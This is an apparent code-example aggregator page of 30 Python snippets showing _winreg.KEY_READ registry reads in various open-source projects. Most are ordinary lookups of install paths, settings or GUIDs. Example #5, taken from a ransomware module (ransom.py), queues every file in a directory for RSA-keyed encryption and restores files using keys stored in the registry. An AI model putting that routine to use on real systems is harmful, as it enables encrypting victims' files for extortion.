Python _winreg.KEY_READ Examples

The following are 30 code examples of _winreg.KEY_READ(). You can vote up the ones you like or vote down the ones you don't like, and go to the original project or source file by following the links above each example. You may also want to check out all available functions/classes of the module _winreg , or try the search function .
Example #1
Source File: win32regchecker.py    From p2ptv-pi with MIT License 6 votes vote down vote up
def readKey(self, hkey, key_name, value_name = '', ignore_errors = False):
        if sys.platform != 'win32':
            return None
        try:
            if DEBUG:
                print >> sys.stderr, 'win32regcheck: Opening', key_name, value_name
            full_key = _winreg.OpenKey(hkey, key_name, 0, _winreg.KEY_READ)
            if DEBUG:
                print >> sys.stderr, 'win32regcheck: Open returned', full_key
            value_data, value_type = _winreg.QueryValueEx(full_key, value_name)
            if DEBUG:
                print >> sys.stderr, 'win32regcheck: Read', value_data, value_type
            _winreg.CloseKey(full_key)
            return value_data
        except:
            if not ignore_errors:
                print_exc(file=sys.stderr)
                print_stack()
            return None 
Example #2
Source File: __init__.py    From EventGhost with GNU General Public License v2.0 6 votes vote down vote up
def CheckForMceDriver():
    """
    Checks the HID registry values.
    """
    HID_SUB_KEY = "SYSTEM\\CurrentControlSet\\Services\\HidIr\\Remotes\\745a17a0-74d3-11d0-b6fe-00a0c90f57d"
    noKeyCount = 0
    ValuesToCheck = ['a','b']
    for a in ValuesToCheck:
        tmpkey = HID_SUB_KEY+a
        try:
            key = reg.OpenKey(reg.HKEY_LOCAL_MACHINE, tmpkey, 0, reg.KEY_READ)
        except WindowsError:
            noKeyCount = noKeyCount + 1
            continue
    if noKeyCount == len(ValuesToCheck):
        return False
    return True 
Example #3
Source File: __init__.py    From EventGhost with GNU General Public License v2.0 6 votes vote down vote up
def GetMpcHcPath(self):
        """
        Get the path of MPC-HC's installation directory through querying
        the Windows registry.
        """
        try:
            if "PROCESSOR_ARCHITEW6432" in environ:
                args = [_winreg.HKEY_CURRENT_USER,
                    "Software\MPC-HC\MPC-HC"]
                args.extend((0, _winreg.KEY_READ | _winreg.KEY_WOW64_64KEY))
            else:
                args = [_winreg.HKEY_CURRENT_USER,
                    "Software\Gabest\Media Player Classic"]
            mpc = _winreg.OpenKey(*args)
            mpcPath =_winreg.QueryValueEx(mpc, "ExePath")[0]
            _winreg.CloseKey(mpc)
        except WindowsError:
            mpcPath = None
        return mpcPath 
Example #4
Source File: uninstall.py    From pyxll-examples with The Unlicense 6 votes vote down vote up
def uninstall_all():
    """uninstalls PyXLL from all installed Excel versions"""
    for wow64_flags in (winreg.KEY_WOW64_64KEY, winreg.KEY_WOW64_32KEY):
        for root in _root_keys.keys():
            try:
                flags = wow64_flags | winreg.KEY_READ
                office_root = winreg.OpenKey(root, r"Software\Microsoft\Office", 0, flags)
            except WindowsError:
                continue

            # look for all installed versions of Excel and uninstall PyXLL
            i = 0
            while True:
                try:
                    subkey = winreg.EnumKey(office_root, i)
                except WindowsError:
                    break

                match = re.match("^(\d+(?:\.\d+)?)$", subkey)
                if match:
                    office_version = match.group(1)
                    uninstall(office_root, office_version, wow64_flags)
                i += 1

            winreg.CloseKey(office_root) 
Example #5
Source File: ransom.py    From byob with GNU General Public License v3.0 6 votes vote down vote up
def _iter_files(rsa_key, base_dir=None):
    try:
        if isinstance(rsa_key, Crypto.PublicKey.RSA.RsaKey):
            if base_dir:
                if os.path.isdir(base_dir):
                    return os.path.walk(base_dir, lambda _, dirname, files: [globals()['tasks'].put_nowait((encrypt_file, (os.path.join(dirname, filename), rsa_key))) for filename in files], None)
                else:
                    util.log("Target directory '{}' not found".format(base_dir))
            else:
                cipher = Crypto.Cipher.PKCS1_OAEP.new(rsa_key)
                reg_key = _winreg.OpenKey(_winreg.HKEY_CURRENT_USER, globals()['registry_key'], 0, _winreg.KEY_READ)
                i = 0
                while True:
                    try:
                        filename, key, _ = _winreg.EnumValue(reg_key, i)
                        key = cipher.decrypt(base64.b64decode(key))
                        globals()['tasks'].put_nowait((decrypt_file, (filename, key)))
                        i += 1
                    except:
                        _winreg.CloseKey(reg_key)
                        break
    except Exception as e:
        util.log('{} error: {}'.format(_iter_files.__name__, str(e))) 
Example #6
Source File: terminal.py    From collection with MIT License 6 votes vote down vote up
def win32_reg_read (self, keyname, path):
		try:
			import _winreg
			mode = _winreg.KEY_READ | _winreg.KEY_WOW64_64KEY
			key = _winreg.OpenKey(keyname, path, 0, mode)
			count = _winreg.QueryInfoKey(key)[0]
		except:
			return None
		data = {}
		for i in range(count):
			try:
				name, value, tt = _winreg.EnumValue(key, i)
			except OSError as e:
				break
			data[name] = (tt, value) 
		return data 
Example #7
Source File: labview.py    From python_labview_automation with MIT License 6 votes vote down vote up
def _open_windows_native_key(self, key, sub_key):
        """
        Opens a windows registry key using the OS bitness-based version of the
        registry view.
        This method eventually calls the _winreg.OpenKey() method.

        This is useful because if we're running a 32-bit python interpreter, by
        default _winreg accesses the 32-bit registry view. This is a problem on
        64-bit OSes as it limits us to registries of 32-bit applications.
        """
        import _winreg

        python_bitness, linkage = platform.architecture()

        # If we're running 32-bit python, by default _winreg accesses the
        # 32-bit registry view. This is a problem on 64-bit OSes.
        if python_bitness == '32bit' and platform.machine().endswith('64'):
            # Force _winreg to access the 64-bit registry view with the access
            # map as _winreg.KEY_WOW64_64KEY
            return _winreg.OpenKey(key, sub_key, 0, _winreg.KEY_READ | _winreg.KEY_WOW64_64KEY)
        else:
            return _winreg.OpenKey(key, sub_key)

        return key 
Example #8
Source File: _registry.py    From pipenv with MIT License 6 votes vote down vote up
def get_all_values(self):
        schema = {}
        for subkey in self:
            schema[subkey.name] = subkey.get_all_values()

        key = winreg.OpenKeyEx(self._root, self.subkey, 0, winreg.KEY_READ | self._flags)
        try:
            with key:
                for i in count():
                    vname, value, vtype = winreg.EnumValue(key, i)
                    value = get_value_from_tuple(value, vtype)
                    if value:
                        schema[vname or ''] = value
        except OSError:
            pass

        return PythonWrappedDict(schema) 
Example #9
Source File: _registry.py    From pythonfinder with MIT License 6 votes vote down vote up
def get_all_values(self):
        schema = {}
        for subkey in self:
            schema[subkey.name] = subkey.get_all_values()

        key = winreg.OpenKeyEx(self._root, self.subkey, 0, winreg.KEY_READ | self._flags)
        try:
            with key:
                for i in count():
                    vname, value, vtype = winreg.EnumValue(key, i)
                    value = get_value_from_tuple(value, vtype)
                    if value:
                        schema[vname or ''] = value
        except OSError:
            pass

        return PythonWrappedDict(schema) 
Example #10
Source File: mt4.py    From py-metatrader with Apache License 2.0 6 votes vote down vote up
def is_uac_enabled():
    """
    Note:
      check uac is enabled or not from reg value.
    Returns:
     True if uac is enabled, False if uac is disabled.
    """
    import _winreg    
    
    reg_key = _winreg.OpenKey(_winreg.HKEY_LOCAL_MACHINE, 'SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System', 0, _winreg.KEY_READ)
    value, regtype = _winreg.QueryValueEx(reg_key, 'EnableLUA')
    
    if value == 1:
        #reg value 1 means UAC is enabled
        return True
    else:
        return False 
Example #11
Source File: terminal.py    From terminal with MIT License 6 votes vote down vote up
def win32_reg_read (self, keyname, path):
		try:
			import _winreg
			mode = _winreg.KEY_READ | _winreg.KEY_WOW64_64KEY
			key = _winreg.OpenKey(keyname, path, 0, mode)
			count = _winreg.QueryInfoKey(key)[0]
		except:
			return None
		data = {}
		for i in range(count):
			try:
				name, value, tt = _winreg.EnumValue(key, i)
			except OSError as e:
				break
			data[name] = (tt, value) 
		return data 
Example #12
Source File: _registry.py    From pythonfinder with MIT License 5 votes vote down vote up
def __iter__(self):
        subkey_names = []
        try:
            with winreg.OpenKeyEx(self._root, self.subkey, 0, winreg.KEY_READ | self._flags) as key:
                for i in count():
                    subkey_names.append(winreg.EnumKey(key, i))
        except OSError:
            pass
        return iter(self[k] for k in subkey_names) 
Example #13
Source File: workbench_menu.py    From dot15926 with GNU Lesser General Public License v3.0 5 votes vote down vote up
def _find_doc_path():
    docpath = os.path.join('..', 'documentation')
    if os.path.exists(docpath):
        return docpath
    import _winreg
    try:
        key = _winreg.OpenKey(_winreg.HKEY_LOCAL_MACHINE, 'Software\\TechInvestLab.ru\\dot15926 application data', 0, _winreg.KEY_READ)
        if key:
            docpath, tp = _winreg.QueryValueEx(key, 'documentation_path')
            if os.path.exists(docpath):
                return docpath
    except:
        pass
    return None 
Example #14
Source File: __init__.py    From butterflow with MIT License 5 votes vote down vote up
def get_local_machine_registry_subkeys(name):
    # print("Keys at %s:" % name)
    try:
        with winreg.OpenKey(REG_HIVE, name, 0, winreg.KEY_READ) as key:
            for i in itertools.count():
                yield winreg.EnumValue(key, i)
    except WindowsError as error:
        # print(error)
        yield None 
Example #15
Source File: output_registry_storage.py    From AltFS with BSD 3-Clause "New" or "Revised" License 5 votes vote down vote up
def get_bucket_key(base_key, bucket_name, desired_access=_winreg.KEY_READ):
    """Returns the Registry key that corresponds to the given bucket ID"""
    return _winreg.OpenKey(base_key, bucket_name, 0, desired_access) 
Example #16
Source File: clean_registry_storage.py    From AltFS with BSD 3-Clause "New" or "Revised" License 5 votes vote down vote up
def get_bucket_key(base_key, bucket_name, desired_access=_winreg.KEY_READ):
    """Returns the Registry key that corresponds to the given bucket ID"""
    return _winreg.OpenKey(base_key, bucket_name, 0, desired_access) 
Example #17
Source File: RegistryStorageProvider.py    From AltFS with BSD 3-Clause "New" or "Revised" License 5 votes vote down vote up
def _get_bucket_key(self, bucket_id, desired_access=_winreg.KEY_READ):
        """Returns the Registry key that corresponds to the given bucket ID"""
        return _winreg.OpenKey(self._base_key,
                               self._get_bucket_name(bucket_id),
                               0,
                               desired_access) 
Example #18
Source File: _winconsole.py    From vistir with ISC License 5 votes vote down vote up
def query_registry_value(root, key_name, value):
    try:
        import winreg
    except ImportError:
        import _winreg as winreg
    try:
        with winreg.OpenKeyEx(root, key_name, 0, winreg.KEY_READ) as key:
            return get_value_from_tuple(*winreg.QueryValueEx(key, value))
    except OSError:
        return None 
Example #19
Source File: _winconsole.py    From vistir with ISC License 5 votes vote down vote up
def _get_sid_from_registry():
    try:
        import winreg
    except ImportError:
        import _winreg as winreg
    var_names = ("%USERPROFILE%", "%HOME%")
    current_user_home = next(iter(os.path.expandvars(v) for v in var_names if v), None)
    root, subkey = (
        winreg.HKEY_LOCAL_MACHINE,
        r"Software\Microsoft\Windows NT\CurrentVersion\ProfileList",
    )
    subkey_names = []
    value = None
    matching_key = None
    try:
        with winreg.OpenKeyEx(root, subkey, 0, winreg.KEY_READ) as key:
            for i in count():
                key_name = winreg.EnumKey(key, i)
                subkey_names.append(key_name)
                value = query_registry_value(
                    root, r"{0}\{1}".format(subkey, key_name), "ProfileImagePath"
                )
                if value and value.lower() == current_user_home.lower():
                    matching_key = key_name
                    break
    except OSError:
        pass
    if matching_key is not None:
        return matching_key 
Example #20
Source File: __init__.py    From EventGhost with GNU General Public License v2.0 5 votes vote down vote up
def CheckForAlternateService():
    """
    Checks if the AlternateMceIrService is installed
    """
    ServiceKey = "SYSTEM\\CurrentControlSet\\Services\\EventLog\\Application\\AlternateMceIrService"
    try:
        key = reg.OpenKey(reg.HKEY_LOCAL_MACHINE, ServiceKey, 0, reg.KEY_READ)
    except:
        return False
    return True 
Example #21
Source File: fuse.py    From ff4d with BSD 3-Clause "New" or "Revised" License 5 votes vote down vote up
def Reg32GetValue(rootkey, keyname, valname):
            key, val = None, None
            try:
                key = reg.OpenKey(rootkey, keyname, 0, reg.KEY_READ | reg.KEY_WOW64_32KEY)
                val = str(reg.QueryValueEx(key, valname)[0])
            except WindowsError:
                pass
            finally:
                if key is not None:
                    reg.CloseKey(key)
            return val 
Example #22
Source File: px.py    From px with MIT License 5 votes vote down vote up
def check_installed():
    ret = True
    runkey = winreg.OpenKey(winreg.HKEY_CURRENT_USER,
        r"Software\Microsoft\Windows\CurrentVersion\Run", 0, winreg.KEY_READ)
    try:
        winreg.QueryValueEx(runkey, "Px")
    except:
        ret = False
    winreg.CloseKey(runkey)

    return ret 
Example #23
Source File: __init__.py    From EventGhost with GNU General Public License v2.0 5 votes vote down vote up
def Finish(self):
        """
        This will be called inside the thread when it finishes. It will even
        be called if the thread exits through an exception.
        """

        self.abort = True
        self.lock.acquire()

        if self.dll:
            self.dll.IR_Close(self.hwnd, 0);

        #print "Irremote is stopped"

        if self.timerInit :
            self.timerInit.cancel()
            #print "Init aborted"

        if self.hwnd:
            windll.user32.KillTimer(self.hwnd, 1)
            DestroyWindow(self.hwnd)
            UnregisterClass(self.wc.lpszClassName, self.hinst)


        if self.defaultPollTime != -1 :

            regHandle = _winreg.OpenKey(
                            _winreg.HKEY_LOCAL_MACHINE,
                            'SOFTWARE\hauppauge\IR',
                            0,
                            _winreg.KEY_WRITE | _winreg.KEY_READ
            )

            _winreg.SetValueEx( regHandle, 'PollRate', 0, _winreg.REG_DWORD, int(self.defaultPollTime) )

            _winreg.CloseKey( regHandle )

        self.lock.release() 
Example #24
Source File: sopcast.py    From program.plexus with GNU General Public License v2.0 5 votes vote down vote up
def break_sopcast():
    if xbmc.getCondVisibility('system.platform.windows'):
        import _winreg
        aReg = _winreg.ConnectRegistry(None, _winreg.HKEY_LOCAL_MACHINE)
        try:
            aKey = _winreg.OpenKey(aReg, r'SOFTWARE\SopCast\Player\InstallPath', 0, _winreg.KEY_READ)
            name, value, type = _winreg.EnumValue(aKey, 0)
            codec_file = os.path.join(os.path.join(value.replace("SopCast.exe", "")), 'codec', 'sop.ocx.old')
            _winreg.CloseKey(aKey)
            if xbmcvfs.exists(codec_file): xbmcvfs.rename(codec_file,
                                                          os.path.join(os.path.join(value.replace("SopCast.exe", "")),
                                                                       'codec', 'sop.ocx'))
        except:
            pass 
Example #25
Source File: recipe-577621.py    From code with MIT License 5 votes vote down vote up
def getenv(self, name):
        key = winreg.OpenKey(self.root, self.subkey, 0, winreg.KEY_READ)
        try:
            value, _ = winreg.QueryValueEx(key, name)
        except WindowsError:
            value = ''
        return value 
Example #26
Source File: win32regchecker.py    From p2ptv-pi with MIT License 5 votes vote down vote up
def readKeyRecursively(self, hkey, key_name, value_name = ''):
        if sys.platform != 'win32':
            return None
        lasthkey = hkey
        try:
            toclose = []
            keyparts = key_name.split('\\')
            print >> sys.stderr, 'win32regcheck: keyparts', keyparts
            for keypart in keyparts:
                if keypart == '':
                    continue
                if DEBUG:
                    print >> sys.stderr, 'win32regcheck: Opening', keypart
                full_key = _winreg.OpenKey(lasthkey, keypart, 0, _winreg.KEY_READ)
                lasthkey = full_key
                toclose.append(full_key)

            if DEBUG:
                print >> sys.stderr, 'win32regcheck: Open returned', full_key
            value_data, value_type = _winreg.QueryValueEx(full_key, value_name)
            if DEBUG:
                print >> sys.stderr, 'win32regcheck: Read', value_data, value_type
            for hkey in toclose:
                _winreg.CloseKey(hkey)

            return value_data
        except:
            print_exc()
            return None 
Example #27
Source File: winregistry.py    From cross3d with MIT License 5 votes vote down vote up
def getRegKey(registry, key, architecture=None):
	""" Returns a _winreg hkey or none.
	
	Args:
		registry (str): The registry to look in. 'HKEY_LOCAL_MACHINE' for example
		key (str): The key to open. r'Software\Autodesk\Softimage\InstallPaths' for example
		architecture (int | None): 32 or 64 bit. If None use system default. Defaults to None
	
	Returns:
		A _winreg handle object
	"""
	# Do not want to import _winreg unless it is neccissary
	regKey = None
	import _winreg
	aReg = _winreg.ConnectRegistry(None, getattr(_winreg, registry))
	if architecture == 32:
		sam = _winreg.KEY_WOW64_32KEY
	elif architecture == 64:
		sam = _winreg.KEY_WOW64_64KEY
	else:
		sam = 0
	try:
		regKey = _winreg.OpenKey(aReg, key, 0, _winreg.KEY_READ | sam)
	except WindowsError:
		pass
	return regKey 
Example #28
Source File: _winconsole.py    From pipenv with MIT License 5 votes vote down vote up
def _get_sid_from_registry():
    try:
        import winreg
    except ImportError:
        import _winreg as winreg
    var_names = ("%USERPROFILE%", "%HOME%")
    current_user_home = next(iter(os.path.expandvars(v) for v in var_names if v), None)
    root, subkey = (
        winreg.HKEY_LOCAL_MACHINE,
        r"Software\Microsoft\Windows NT\CurrentVersion\ProfileList",
    )
    subkey_names = []
    value = None
    matching_key = None
    try:
        with winreg.OpenKeyEx(root, subkey, 0, winreg.KEY_READ) as key:
            for i in count():
                key_name = winreg.EnumKey(key, i)
                subkey_names.append(key_name)
                value = query_registry_value(
                    root, r"{0}\{1}".format(subkey, key_name), "ProfileImagePath"
                )
                if value and value.lower() == current_user_home.lower():
                    matching_key = key_name
                    break
    except OSError:
        pass
    if matching_key is not None:
        return matching_key 
Example #29
Source File: _registry.py    From pipenv with MIT License 5 votes vote down vote up
def delete(self):
        for k in self:
            k.delete()
        try:
            key = winreg.OpenKeyEx(self._root, None, 0, winreg.KEY_READ | self._flags)
        except OSError:
            return
        with key:
            winreg.DeleteKeyEx(key, self.subkey) 
Example #30
Source File: uuid_device.py    From plugin.video.netflix with MIT License 5 votes vote down vote up
def _get_windows_uuid():
    # pylint: disable=broad-except
    # pylint: disable=no-member
    uuid_value = None
    try:
        try:  # Python 2
            import _winreg as winreg
        except ImportError:  # Python 3
            import winreg
        registry = winreg.HKEY_LOCAL_MACHINE
        address = 'SOFTWARE\\Microsoft\\Cryptography'
        keyargs = winreg.KEY_READ | winreg.KEY_WOW64_64KEY
        key = winreg.OpenKey(registry, address, 0, keyargs)
        value = winreg.QueryValueEx(key, 'MachineGuid')
        winreg.CloseKey(key)
        uuid_value = value[0]
    except Exception:
        pass
    if not uuid_value:
        try:
            import subprocess
            output = subprocess.check_output(['vol', 'c:'])
            output = output.split()
            uuid_value = output[len(output) - 1:]
        except Exception:
            pass
    return uuid_value